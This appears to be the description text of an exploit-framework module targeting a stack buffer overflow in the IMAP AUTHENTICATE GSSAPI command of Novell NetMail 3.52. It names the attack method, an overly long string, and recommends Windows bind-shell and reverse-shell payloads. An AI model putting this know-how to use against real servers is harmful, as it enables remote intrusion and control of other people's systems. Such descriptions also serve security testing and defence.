					This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE
				GSSAPI command. By sending an overly long string, an attacker can overwrite the
				buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp
				or windows/shell_reverse_tcp allows for the most reliable results.
